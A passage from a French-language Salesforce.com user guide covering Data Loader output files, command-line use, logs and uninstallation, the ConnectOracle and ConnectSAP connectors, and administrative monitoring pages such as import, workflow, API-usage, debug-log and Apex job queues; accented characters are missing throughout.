le nom du fichier SDL.
Si vous slectionnez un fichier existant, le contenu de ce fichier est remplac. Cliquez sur Oui pour confirmer cette action
ou sur Non pour choisir un autre fichier.
4. Cliquez sur OK pour utiliser le mappage dans le cadre de l'opration en cours.

Gestion des donnes

Guide de l'utilisateur | Vrification des fichiers de sortie | 317

Vrification des fichiers de sortie

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Aprs chaque importation ou exportation, le module Data Loader gnre deux fichiers de sortie CSV uniques : Le nom du
premier commence par success , tandis que celui du second commence par error . Lors de chaque exportation, le module
Data Loader enregistre les donnes extraites dans un fichier CSV dfini par vos soins dans l'assistant. Le module Data Loader
dispose d'une visionneuse de fichiers CSV intgre permettant d'ouvrir ces fichiers.
Pour afficher les fichiers de sortie issus d'une opration du module Data Loader :
1. Dans le menu Afficher du module Data Loader, slectionnez Afficher le fichier CSV.
2. Dfinissez le nombre de lignes afficher. Chaque ligne du fichier CSV correspond un enregistrement Salesforce.com.
La valeur par dfaut est de 1 000.
3. Pour afficher le fichier CSV de votre choix, cliquez sur Open CSV. Pour afficher le dernier fichier de russite, cliquez sur
Ouvrir russite. Pour afficher le dernier fichier d'erreur, cliquez sur Ouvrir erreur.
4. Le fichier CSV apparat dans une nouvelle fentre. Vous pouvez ventuellement cliquer sur Open in External Program
pour ouvrir le fichier dans un programme externe associ, comme Microsoft Office Excel.
Le fichier de russite contient tous les enregistrements dont le chargement a russi. Ce fichier contient une colonne
rpertoriant les ID d'enregistrement rcemment gnrs. Le fichier d'erreur contient tous les enregistrements dont le
chargement n'a pas abouti. Ce fichier contient une colonne dcrivant le motif de l'chec du chargement.
5. Cliquez sur Close pour revenir la fentre CSV Chooser, puis sur OK pour quitter cette fentre.

Utilisation de l'interface de ligne de commande

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

En ce qui concerne les oprations programmes la nuit, telles que les chargements et les extractions, vous prfrerez peut-tre
excuter le module Data Loader depuis la ligne de commande. Depuis la ligne de commande, les appels suivants sont pris en
charge :

java jar DataLoader.jar

com.salesforce.lexiloader.process.ProcessRunner avec DataLoader.jar dans le chemin de classe

Tapez -help sur la ligne de commande pour afficher des conseils et des instructions.
Vous pouvez dfinir l'option suivante :
-Dsalesforce.config.dir=CONFIG_DIRECTORY

Le module Data Loader est excut quels que soient l'opration, le fichier ou la carte spcifis dans le fichier de configuration
dfini. Si vous ne spcifiez pas de rpertoire de configuration, le rpertoire en cours est utilis. Par dfaut, les fichiers de
configuration du module Data Loader sont installs l'emplacement suivant :
C:\Programmes\salesforce.com\Data Loader version\conf

Gestion des donnes

Guide de l'utilisateur | Dpannage des oprations du module Data Loader | 318

Le fichier de configuration du traitement par lot est process-conf.xml. Si vous utilisez process-conf.xml, dfinir
process.name sur le nom d'un processus indique un processus de s'excuter. Dans le cas contraire, le fichier
config.properties est utilis pour dfinir les paramtres.
Pour optimiser la capacit de consignation, utilisez une copie de log-conf.xml.
Vous pouvez modifier les paramtres lors de l'excution en dfinissant param=value comme arguments de programme. Par
exemple :
java -Xms256m -Xmx256m -Dsalesforce.config.dir=c:\config jar DataLoader.jar
process.operation=insert

o process.operation=insert change la configuration lors de l'excution.

Remarque: Ces rubriques ne s'appliquent qu' la version 8.0 et aux versions ultrieures. Si vous possdez une version
antrieure du module Data Loader, reportez-vous au blog suivant pour en savoir plus sur la ligne de commande :
http://blog.sforce.com/sforce/2005/06/sforce_data_loa.html
Conseil:
Si vous rencontrez des problmes de connexion l'interface de ligne de commande aprs la mise niveau vers une
nouvelle version du module Data Loader, essayez de crypter nouveau votre mot de passe pour rsoudre le problme.

Dpannage des oprations du module Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Si vous devez rsoudre un problme en rapport avec le module Data Loader, ou sur requte du support client de salesforce.com,
vous pouvez accder aux fichiers journaux suivant les oprations et les connexions de rseau effectues par le module Data
Loader. Ces deux fichiers journaux sont :
sdl.log
Il contient une liste chronologique dtaille des entres du journal du module Data Loader. Les entres du journal portant
la marque INFO sont des lments de procdure tels que la connexion Salesforce.com. Les entres du journal
portant la marque ERROR sont des problmes tels qu'un champ obligatoire manquant dans un rapport.
sdl_out.log
Journal supplmentaire qui contient des informations ne figurant pas dans sdl.log. Par exemple, il comprend les entres
du journal relatives la cration de connexions de rseau d'un serveur proxy.
Vous pouvez ouvrir ces fichiers avec les diteurs de texte les plus courants, tels que le Bloc-notes Microsoft.
Dans Microsoft Windows, vous pouvez ouvrir ces fichiers rapidement en tapant %TEMP%\sdl.log et %TEMP%\sdl_out.log
soit dans la bote de dialogue Excution soit dans la barre d'adresse de l'explorateur Windows.

Gestion des donnes

Guide de l'utilisateur | Dsinstallation du module Data Loader | 319

Dsinstallation du module Data Loader

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour dsinstaller l'application client du module Data Loader :

1. Cliquez sur Dmarrer Panneau de configuration Ajout/Suppression de programmes.
2. Slectionnez le programme Data Loader.
3. Cliquez sur Supprimer. Le programme de dsinstallation supprime le programme de l'ordinateur.

Force.com ConnectOracle
Disponible moyennant un cot supplmentaire dans : Enterprise Edition et Unlimited Edition

Force.com ConnectOracle est une solution intgre lgre, facile mettre en uvre pour Salesforce.com et Oracle e-Business
Suite 11i. Elle permet de synchroniser des informations sur les comptes entre Salesforce.com et un systme back-office Oracle
e_BusinessSuite 11i, tout en rduisant considrablement les dlais, les cots et les efforts requis pour l'intgration des deux
systmes.
ConnectOracle offre plusieurs avantages aux entreprises clientes, parmi lesquels :

Intgration rapide et simple des donnes clients l'aide d'un modle client-matre pr-conu qui se charge de l'intgration
de bout-en-bout entre Salesforce.com et Oracle e_Business Suite 11i, acclrant ainsi le processus d'intgration des donnes
clients ;
Synchronisation bi-directionnelle des informations sur les comptes entre Salesforce.com et Oracle e-Business Suite 11i ;
Accs aux donnes clients d'entreprise front et back office dans Salesforce.com, qui permet d'amliorer et d'acclrer la
prise de dcision grce la transparence des informations.
Remarque: Pour plus d'informations sur l'utilisation de ConnectOracle, contactez salesforce.com.

Si ConnectOracle est activ pour votre organisation, vous pouvez le tlcharger en cliquant sur Configuration Gestion
des donnes ConnectOracle.

Force.com ConnectSAP
Disponible moyennant un cot supplmentaire dans : Enterprise Edition et Unlimited Edition
Force.com ConnectSAP est une solution intgre lgre, facile mettre en uvre pour Salesforce.com et SAP R/3 qui offre
une vue intgre et cohrente des donnes clients appropries dans les deux systmes. Elle permet de synchroniser des
informations sur les comptes entre Salesforce.com et SAP R/3, tout en rduisant considrablement les dlais, les cots et les

Gestion des donnes

Guide de l'utilisateur | Force.com ConnectSAP | 320

efforts requis pour l'intgration des deux systmes. ConnectSAP est une application Java lgre qui est dploye sur site vers
le systme SAP R/3 local.
Remarque: Pour plus d'informations sur l'achat et l'utilisation de ConnectSAP, contactez salesforce.com.

Si ConnectSAP est activ pour votre organisation, vous pouvez le tlcharger en cliquant sur Configuration Gestion des
donnes ConnectSAP.

Surveillance
Utilisation de la file d'attente d'importation
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour utiliser la file d'attente d'importation :

Modifier toutes les donnes

Les administrateurs peuvent vrifier la file d'attente d'importation pour afficher des dtails propos d'une importation ou pour
annuler l'importation d'une entreprise. Les dtails de l'importation sont supprims de la file d'attente trois jours aprs son
excution.
1. Cliquez sur Configuration Surveillance Importations.
2. Slectionnez le nom du fichier d'importation pour faire apparatre la page Dtails de la file d'attente d'importation de ce
fichier.
Pour annuler une importation avant son traitement, cliquez sur Suppr. Vous ne pouvez pas annuler une importation une fois
son traitement dmarr.
Les valeurs possibles de la colonne Statut sont prsentes ci-dessous :
Statut

Description

Interrompu

L'importation n'a pas t traite avec succs. Les dtails de l'erreur sont envoyes par e-mail l'utilisateur
qui a lanc l'importation. Une importation interrompue peut tre retente dans les trois jours, mais si
plusieurs tentatives sont effectues, l'importation ne peut pas tre conserve dans la file d'attente plus de
30 jours compter de la premire tentative.

Termin

L'importation a t traite avec succs sans erreurs.

Erreur

L'importation a t traite et des erreurs ont t rencontres. Les dtails de l'erreur sont envoyes par
e-mail l'utilisateur qui a lanc l'importation. L'utilisateur peut corriger les erreurs et tenter une nouvelle
importation.

En cours

L'importation se trouve dans la file d'attente mais son traitement n'a pas encore commenc.

Traitement en
cours

L'importation se trouve dans la file d'attente et son traitement est en cours.

Voir aussi :
Prsentation de l'importation

Surveillance

Guide de l'utilisateur | Suivi du statut de livraison des messages sortants | 322

Suivi du statut de livraison des messages sortants

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour effectuer le suivi des messages sortants :

Modifier toutes les donnes

Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi, par
exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un message SOAP
au point de destination.
Pour suivre le statut d'un message sortant, cliquez sur Configuration Surveillance Messages sortants. Vous pouvez
galement cliquer sur Configuration Crer Workflow & approbations Messages sortants, puis cliquez sur Afficher
le statut de livraison des messages. Vous pouvez afficher le statut de vos messages sortants ce niveau

La liste associe des lments suivants livrer comprend tous les messages sortants en attente d'envoi.
La liste associe Premiers checs de la file d'attente comprend les checs les plus anciens qui n'ont pas encore t supprims
(les messages ne datent pas de 24 heures et n'ont pas t envoys).
La liste associe des messages sortants ayant chou comprend tous les messages sortants qui n'ont pas pu tre livrs et qui
ne feront plus l'objet de nouvelles tentatives. Les messages ne sont rpertoris ici que si vous configurez le message lorsque
vous le crez en slectionnant Ajouter les checs la liste associe des messages sortants chous.
Pour plus d'informations, reportez-vous Dfinition des messages sortants la page 747. Si vous ne voyez pas cette liste
associe, cela signifie qu'elle n'a pas t active pour votre entreprise. Contactez votre reprsentant salesforce.com.

ce niveau, vous pouvez raliser plusieurs tches :

Cliquez sur Actualiser pour actualiser la liste.

Cliquez sur un ID d'action du processus de workflow ou d'approbation pour consulter l'action de dclenchement.
Cliquez sur Ressayer pour que la date Tentative suivante soit paramtre sur NOW (maintenant). La livraison du
message est alors immdiatement retente. Si vous slectionnez Ressayer dans la liste associe Messages sortants ayant
chou, le message sortant est dplac dans la liste associe lments suivants livrer et de nouvelles tentatives sont faites
pendant 24 heures supplmentaires.
Cliquez sur Suppr pour supprimer dfinitivement le message sortant de la file d'attente.
Remarque: Si ces options ne s'affichent pas, votre entreprise n'a pas activ les messages sortants. Contactez
salesforce.com pour activer les messages sortants dans votre entreprise.

Voir aussi :
Gestion des messages sortants
Gestion des messages sortants
Gestion du workflow et des approbations

Surveillance

Guide de l'utilisateur | Surveillance de la file d'attente du workflow | 323

Surveillance de la file d'attente du workflow

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer la file d'attente du workflow :

Modifier toutes les donnes

Lorsque Salesforce.com dclenche une rgle de workflow prsentant des actions chronologiques, utilisez la file dattente du
workflow pour visualiser les actions en attente et les annuler si ncessaire.
Pour afficher les actions en attente :
1. Cliquez sur Configuration Surveillance Workflow en temps rel.
2. Cliquez sur Rechercher pour afficher l'ensemble des actions en attente, toutes rgles de workflow confondues, ou dfinissez
des critres de filtrage avant de cliquer sur Rechercher pour n'afficher que les actions en attente rpondant aux critres
choisis. Options de filtrage possibles :
Nom de la rgle de workflow
Nom de la rgle de workflow.
Objet
Objet standard ou personnalis qui a dclench la rgle de workflow. Saisissez le nom de l'objet au singulier (par
exemple, opportunit ).
Date prvue
Date laquelle les actions en attente doivent se produire.
Crer une date
Date de cration de l'enregistrement ayant dclench le workflow.
Cr par
Auteur de l'enregistrement ayant dclench la rgle de workflow.
Nom de l'enregistrement
Nom de l'enregistrement ayant dclench la rgle de workflow.
Le filtre ne tient pas compte de la casse. Pour plus d'informations sur les filtres, reportez-vous Saisie des critres de filtre
la page 1736.
Pour ventuellement annuler des actions en attente :
1. Cochez la case situe en regard des actions en attente annuler. Vous pouvez galement cocher la case situe en regard de
l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.

Surveillance

Guide de l'utilisateur | Surveillance de la file d'attente des rgles de hirarchisation des requtes | 324

2. Cliquez sur Supprimer. Salesforce.com annule l'action en attente.

Voir aussi :
Gestion des rgles de workflow
Cration de rgles de workflow
Observations sur les actions chronologiques et les dclencheurs temporels

Surveillance de la file d'attente des rgles de

hirarchisation des requtes
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour surveiller la file d'attente des rgles de hirarchisation
des requtes :

Modifier toutes les donnes

Lorsque Salesforce.com dclenche une rgle de hirarchisation des requtes comprenant des actions chronologiques, utilisez
la file d'attente des rgles de hirarchisation des requtes pour afficher les actions en attente et les annuler si ncessaire.
Pour afficher les actions en attente :
1. Cliquez sur Configuration Surveillance Hirarchisation des requtes.
2. Cliquez sur Rechercher pour afficher l'ensemble des actions en attente, toutes rgles de hirarchisation des requtes
confondues, ou dfinissez des critres de filtrage avant de cliquer sur Rechercher pour n'afficher que les actions en attente
rpondant aux critres choisis. Options de filtrage possibles :
Requte hirarchiser
Numro de requte de la requte hirarchise. Le numro de requte est un nombre unique et gnr

automatiquement, que l'on utilise pour identifier la requte.

Rgle de hirarchisation
Nom de la rgle utilise pour hirarchiser la requte.
Entre de rgle
Ordre dans lequel l'entre de rgle sera traite. Une entre de rgle est une condition dterminant le traitement d'une
rgle de hirarchisation des requtes. Chaque rgle de hirarchisation peut compter jusqu' 3 000 entres.
Action de hirarchisation
Critres horaires indiqus pour la hirarchisation de la requte comme indiqu dans l'entre de rgle.
Ignorer les heures d'ouverture
Indique si la case Ignorer les heures d'ouverture est coche dans l'entres de rgle ; cela signifie que les
entres de la rgle sont effectives toute heure et ne tiennent pas compte des heures d'ouverture de l'organisation.

Surveillance

Guide de l'utilisateur | propos des notifications d'utilisation de l'API | 325

Hirarchiser
Date et heure auxquelles la requte sera hirarchise, comme indiqu dans l'entre de rgle. Les dates et les heures
sont indiques dans le fuseau horaire de l'utilisateur qui affiche la file d'attente des rgles de hirarchisation.
Date ajoute
Date et heure auxquelles la requte a t ajoute la file d'attente. Les dates et les heures sont indiques dans le fuseau
horaire de l'utilisateur qui affiche la file d'attente des rgles de hirarchisation.
Le filtre ne tient pas compte de la casse. Pour plus d'informations sur les filtres, reportez-vous Saisie des critres de filtre
la page 1736.
Pour annuler les actions en attente :
1. Cochez la case situe en regard des actions en attente annuler. Vous pouvez galement cocher la case situe en regard de
l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
2. Cliquez sur Supprimer. Salesforce.com annule l'action en attente.

Voir aussi :
Gestion des rgles de hirarchisation
Affichage et modification des rgles de hirarchie

propos des notifications d'utilisation de l'API

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, crer, modifier ou supprimer des notifications : API active

Lorsque vous crez une notification d'utilisation de demande, vous dterminez l'envoi d'une notification par e-mail un
administrateur chaque fois que votre entreprise dpasse le nombre maximal de demandes API ralises dans une priode
donne (en heures). Pour plus d'informations sur le nombre maximal de demandes API autoris, reportez-vous Limites
concernant l'utilisation de l'API Force.com la page 991.
Pour afficher les notifications d'utilisation API existantes, cliquez sur Configuration Surveillance Notifications
d'utilisation de l'API.
partir de la liste de notifications, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier et sur Suppr pour modifier ou supprimer une notification existante.
Affichez le nom de l'utilisateur qui recevra la notification.
Affichez la priode de notification, qui dfinit la frquence d'envoi des notifications. Par exemple, si la priode de notification
est de quatre heures, une notification est envoye seulement si la dernire notification a t envoye au moins quatre heures
auparavant. Ainsi, sur une priode de 24 heures, six notifications maximum sont envoyes.
Affichez le pourcentage de la limite autorise qui, si elle est dpasse, dclenche l'envoi d'une notification. Par exemple, si
votre entreprise dispose d'une limite de 1 000 000 de demandes, et que vous avez dfini un pourcentage seuil de 60 (60 %)

Surveillance

Guide de l'utilisateur | propos des notifications d'utilisation de l'API | 326

et une priode de notification de 24 heures, lorsque 600 000 demandes API ont t envoyes sur une priode de 24 heures,
l'utilisateur spcifi reoit une notification.
Affichez le nom de l'utilisateur l'origine de la notification, la date de cration de la notification, la date de la dernire
modification et le nom de l'auteur de cette modification.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. D'autres lments peuvent tre affichs, y compris l'ID de la limite.
Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la dans la liste droulante Afficher, puis cliquez sur
Modifier.

Pour crer une notification, cliquez sur Nouveau.

Vous pouvez crer un maximum de dix notifications par entreprise.

Voir aussi :
Cration et modification des notifications d'utilisation de l'API
Affichage des notifications d'utilisation d'API
Ressources de documentation pour les dveloppeurs Force.com

Affichage des notifications d'utilisation d'API

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, crer, modifier ou supprimer des notifications : API active

Sur la page des dtails de notification concernant l'utilisation de l'API, vous pouvez voir des informations sur une notification :

Destinataire de notification. Nom d'utilisateur du destinataire de la notification par e-mail.

Seuil. Pourcentage de la limite d'utilisation qui dclenche une notification par e-mail lorsqu'il est atteint.
Priode de notification (heures). Frquence laquelle les notifications sont envoyes. Par exemple, si la priode de notification
est de quatre heures, une notification est envoye seulement si la dernire notification a t envoye au moins quatre heures
auparavant. Ainsi, sur une priode de 24 heures, six notifications maximum sont envoyes.
Cr par. Utilisateur qui a cr la demande de notification et heure de sa cration.
Modifi par. Dernier utilisateur avoir modifi la notification.

Sur cette page, vous pouvez galement crer une notification en fonction des valeurs de la notification affiche. Cliquez sur
Cloner pour crer une notification l'aide des valeurs actuelles. Vous pouvez modifier les valeurs avant de les enregistrer.

Voir aussi :
propos des notifications d'utilisation de l'API
Cration et modification des notifications d'utilisation de l'API
Limites concernant l'utilisation de l'API Force.com
Ressources de documentation pour les dveloppeurs Force.com

Surveillance

Guide de l'utilisateur | Surveillance de la file d'attente d'envoi d'e-mails en masse | 327

Cration et modification des notifications d'utilisation de l'API

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, crer, modifier ou supprimer des notifications : API active

Sur la page de modification de l'utilisation de l'API accessible via Configuration Surveillance Notifications d'utilisation
de l'API, vous pouvez saisir les valeurs requises pour une notification concernant la limitation du taux :

L'utilisateur de Salesforce.com qui reoit les notifications.

Pourcentage seuil : le pourcentage de limite du taux qui, une fois dpass dans la priode de notification spcifie, dclenche
l'envoi d'une notification l'utilisateur concern. La valeur doit tre comprise entre 0 et 100.
Priode pendant laquelle le nombre de demandes est calcul, en heures. Par exemple, si la priode est de 24, le taux doit
tre dpass dans les dernires 24 dernires heures pour qu'une notification soit envoye.
Si vous modifiez la priode, la nouvelle priode ne prendra effet qu'aprs la prochaine notification de la priode existante.
Par exemple, supposons que vous avez rgl la priode pour envoyer des notifications toutes les heures. Puis, 16h05, vous
rglez la priode pour envoyer des notifications toutes les 24 heures. Une dernire modification de l'ancienne priode est
envoye 17h00. La prochaine notification sera envoye 17h00, le jour suivant.

Voir aussi :
propos des notifications d'utilisation de l'API
Affichage des notifications d'utilisation d'API
Limites concernant l'utilisation de l'API Force.com
Ressources de documentation pour les dveloppeurs Force.com

Surveillance de la file d'attente d'envoi d'e-mails en masse

Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher l'envoi de vos e-mails en masse ou annuler l'envoi Envoi en masse d'e-mails
d'e-mails en masse en attente :
Pour afficher l'envoi de tous les e-mails en masse ou annuler Modifier toutes les donnes
l'envoi des e-mails en masse en attente de votre entreprise :

Utilisez la file d'attente d'envoi d'e-mails en masse pour afficher le statut des envois planifis et les annuler, si ncessaire.

Surveillance

Guide de l'utilisateur | Gestion des journaux de dbogage | 328

Pour afficher les envois d'e-mails en masse planifis, cliquez sur Configuration Adresse e-mail Mes envois d'e-mails
en masse. Si vous avez l'autorisation d'afficher tous les envois d'e-mails en masse de votre entreprise, cliquez sur Configuration
Surveillance E-mails en masse.
partir de ces pages, vous pouvez alors effectuer diffrentes oprations :

Cliquez sur Annuler pour annuler un envoi d'e-mails en masse en attente.

Cliquez sur Arrter pour stopper un e-mail en masse en cours d'envoi par Salesforce.com.
Cliquez sur Suppr pour supprimer de la file d'attente l'enregistrement d'un envoi en masse envoy ou annul.
Cliquez sur le nom d'un envoi d'e-mails en masse particulier pour afficher ses dtails.

Voir aussi :
Envoi en masse d'e-mails

Gestion des journaux de dbogage

Disponible dans Enterprise Edition, Developer Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher, conserver et supprimer des journaux de
dbogage :

Grer les utilisateurs

Vous pouvez conserver et grer les journaux de dbogage pour certains utilisateurs de votre entreprise.
Le nombre total de journaux de dbogage conserv pour une entreprise est de 20. Une fois cette valeur atteinte, l'utilisateur
est retir de la liste des utilisateurs et les journaux de dbogage sont conservs. Lorsqu'une organisation possde vingt journaux
de dbogage, le plus ancien journal est remplac par le nouveau.
Pour afficher les journaux de dbogage enregistrs, cliquez sur Configuration Surveillance Journaux de dbogage.
Cette page vous permet d'effectuer les oprations suivantes :

Spcifier les utilisateurs dont les journaux de dbogage doivent tre conservs
Afficher les dtails des journaux de dbogage

Aprs avoir indiqu un utilisateur de conserver ses journaux de dbogage, vous pouvez effectuer les oprations suivantes :

Cliquer sur Supprimer pour arrter de conserver les journaux de dbogage de l'utilisateur.

Surveillance

Guide de l'utilisateur | Gestion des journaux de dbogage | 329

Cliquer sur Rinitialiser pour redfinir vingt le nombre de journaux de dbogage disponibles pour un utilisateur.

Voir aussi :
Prsentation du code Apex Force.com
Qu'est-ce qu'un journal de dbogage ?
Conservation des journaux de dbogage
Affichage des dtails du journal de dbogage
Configuration des catgories et niveaux du journal de dbogage
Excution de tests unitaires Apex

Conservation des journaux de dbogage

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour afficher, conserver et supprimer des journaux de
dbogage :

Grer les utilisateurs

Vous pouvez conserver et grer les journaux de dbogage pour certains utilisateurs de votre entreprise.
Le nombre total de journaux de dbogage conserv pour une entreprise est de 20. Une fois cette valeur atteinte, l'utilisateur
est retir de la liste des utilisateurs et les journaux de dbogage sont conservs. Lorsqu'une organisation possde vingt journaux
de dbogage, le plus ancien journal est remplac par le nouveau.
Pour spcifier que les journaux de dbogage d'un utilisateur doivent tre conservs :
1. Cliquez sur Configuration Surveillance Journaux de dbogage, puis cliquez sur Nouveau.
2. Cochez la case en regard des utilisateurs dont vous souhaitez conserver les journaux de dbogage. Les seuls utilisateurs avec
une case prs de leur nom sont ceux dont les journaux de dbogage ne sont actuellement pas conservs.
3. Cliquez sur Enregistrer.
Pour arrter de conserver les journaux de dbogage d'un utilisateur, cliquez sur Configuration Surveillance Journaux
de dbogage, puis cliquez sur Suppr prs du nom de l'utilisateur.
Pour supprimer tous les journaux de dbogage existants d'un utilisateur, cliquez sur Configuration Surveillance Journaux
de dbogage, puis cliquez sur Rinitialiser prs du nom de l'utilisateur.

Voir aussi :
Qu'est-ce qu'un journal de dbogage ?
Gestion des journaux de dbogage
Affichage des dtails du journal de dbogage
Configuration des catgories et niveaux du journal de dbogage

Surveillance

Guide de l'utilisateur | Surveillance des tches prvues | 330

Affichage des dtails du journal de dbogage

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour utiliser la console du journal systme :

Afficher toutes les donnes

Pour utiliser la zone de saisie :

Auteur Apex

Vous pouvez conserver et grer les journaux de dbogage pour certains utilisateurs de votre entreprise.
Pour afficher les dtails d'un journal de dbogage, cliquez sur Configuration Surveillance Journaux de dbogage, puis
cliquez sur Afficher en regard du journal de dbogage que vous souhaitez examiner.
Le nombre total de journaux de dbogage conserv pour une entreprise est de 20. Une fois cette valeur atteinte, l'utilisateur
est retir de la liste des utilisateurs et les journaux de dbogage sont conservs. Lorsqu'une organisation possde vingt journaux
de dbogage, le plus ancien journal est remplac par le nouveau.
Remarque: Si vous utilisez l'interface utilisateur Salesforce.com pour excuter les test unitaires pour vos scripts Apex,
un journal de dbogage est galement gnr et affich. Reportez-vous Excution de tests unitaires Apex la page
904.

Voir aussi :
Configuration des catgories et niveaux du journal de dbogage
Gestion des journaux de dbogage
Configuration des catgories et niveaux du journal de dbogage

Surveillance des tches prvues

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour surveiller des tches prvues :

Afficher la configuration

La page Toutes les tches prvues rpertorie tous les instantans analytiques, les tches Apex prvues, ainsi que les tableaux
de bord dont l'actualisation est prvue.
Les utilisateurs disposant de l'autorisation Afficher la configuration peuvent consulter la page Toutes les tches prvues en
cliquant sur Configuration Surveillance Tches prvues.
Depuis la page Toutes les tches prvues, les utilisateurs disposant des autorisations appropries peuvent :

Surveillance

Guide de l'utilisateur | Surveillance des tches en arrire-plan | 331

cliquer sur Modifier pour mettre jour les paramtres de notification et de frquence de toutes les instances d'une tche
prvue.
cliquer sur Suppr pour effacer dfinitivement toutes les instances d'une tche prvue.
Afficher les informations d'une tche planifie, notamment :
-

son nom
le nom de l'utilisateur qui l'a soumise
la date et l'heure de sa cration
la date et l'heure de dmarrage de la tche
la date et l'heure de sa prochaine excution
son type, tel qu'un instantan analytique, une tche Apex planifie ou un tableau de bord planifi pour tre actualis

Voir aussi :
Qu'est-ce qu'un instantan analytique ?
Planification de l'actualisation d'un tableau de bord

Surveillance des tches en arrire-plan

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour surveiller des tches en arrire-plan :

Afficher la configuration

La page Toutes les tches en arrire-plan rpertorie les travaux de recalcul de rgles de partage dont l'excution est programme
ou en cours. Vous pouvez afficher les dtails suivants d'une tche en arrire-plan :

Le nom de la tche en arrire-plan

Le statut de la tche en arrire-plan, tel que Abandon en attente ou Termin.
Le nom de l'utilisateur qui a soumis la tche en arrire-plan
La date et l'heure de la soumission initiale de la tche en arrire-plan
La date et l'heure auxquelles s'est termine la tche en arrire-plan

Vous pouvez surveiller uniquement les tches en arrire-plan de cette page. Pour abandonner une tche, contactez salesforce.com.

Apex File d'attente des tches

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

La file d'attente des tches Apex rpertorie toutes les tchesApex qui ont t soumises pour excution. Les tches dont l'excution
est termine sont rpertories ainsi que celles qui ne sont pas termines, parmi lesquelles :

Surveillance

Guide de l'utilisateur | Apex File d'attente des tches | 332

Les mthodes Apex comportant l'annotation future qui n'ont pas encore t excutes. De telles tches sont rpertories
dans la colonne Type de tche et n'ont pas de valeurs dans les colonnes Nombre total de lots ou Lots traits.
Tches Apex planifies dont l'excution n'est pas encore termine. De telles tches sont rpertories en tant que Apex
planifies dans la colonne Type de tche et n'ont pas de valeurs dans les colonnes Nombre total de lots ou Lots traits.
Tches en lots Apex de nouveau calcul de partage dont l'excution n'est pas encore termine. De telles tches sont rpertories
comme Nouveau calcul de partage dans la colonne Type de tche. Les enregistrements de tche de nouveau calcul de
partage sont automatiquement diviss en lots. La colonne Nombre total de lots indique le nombre total de lots pour cette
tche. La colonne Lots traits indique le nombre de lots ayant dj t traits.
Tches en lots Apex dont l'excution n'est pas encore termine. De telles tches sont rpertories comme Apex par lot
dans la colonne Type de tche. Les enregistrements d'une tche Apex par lot sont automatiquement diviss en lots. La
colonne Nombre total de lots indique le nombre total de lots pour cette tche. La colonne Lots traits indique le nombre
de lots ayant dj t traits.
Remarque: Les tches par lot de nouveau calcul du partage sont actuellement disponibles via un programme version
limite. Pour plus d'informations sur l'activation des tches par lots de calcul de partage Apex pour votre organisation,
contactez salesforce.com.

La colonne Statut indique le statut actuel de la tche. Valeurs possibles :

Statut

Description

En file d'attente

La tche est en attente d'excution

Traitement en cours

La tche est en cours de traitement

Interrompu

La tche a t interrompue par l'utilisateur

Termin

La tche s'est termine avec ou sans chec

Echec

La tche a subi un chec systme

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Ceci s'avre particulirement utilise si vous souhaitez n'afficher que les
mthodes future ou les tches Apex en lots. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la dans
la liste droulante Vue, puis cliquez sur Modifier.
Pour n'importe quel type de tche Apex, vous pouvez cliquez sur Interrompre la tche dans la colonne Action pour arrter la
totalit du processus de cette tche.
Les tches en rapport avec l'annotation future qui sont termines sont supprimes de cette liste tous les sept jours. Les tches
en lots ne sont pas supprimes.
Pour plus d'informations sur Apex, reportez-vous au guide Force.com Apex Code Developer's Guide.

Voir aussi :
Surveillance des tches prvues
Prsentation du code Apex Force.com

Surveillance

Guide de l'utilisateur | Que sont les journaux d'e-mails ? | 333

Que sont les journaux d'e-mails ?

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour accder aux journaux d'e-mails :

Modifier toutes les donnes

Les journaux d'e-mails sont des fichiers CSV qui contiennent des informations sur tous les messages envoys via Salesforce.com
au cours des 30 derniers jours. Les journaux contiennent des donnes telles que :

L'adresse e-mail de chaque expditeur et destinataire d'un message

La date et l'heure d'envoi de l'e-mail
Le statut de livraison de chaque e-mail
Un code d'erreur associ chaque e-mail

Vous pouvez utiliser des journaux d'e-mails pour rsoudre les erreurs rencontres.
Pour grer les journaux d'e-mails, cliquez sur Configuration Surveillance Fichiers journaux des e-mails.

Pour demander un nouveau journal d'e-mails, cliquez sur Demander un journal d'e-mails. En raison du volume de messages
traits via Salesforce.com, les demandes sont mises en file d'attente dans l'ordre dans lequel elles sont reues. Les journaux
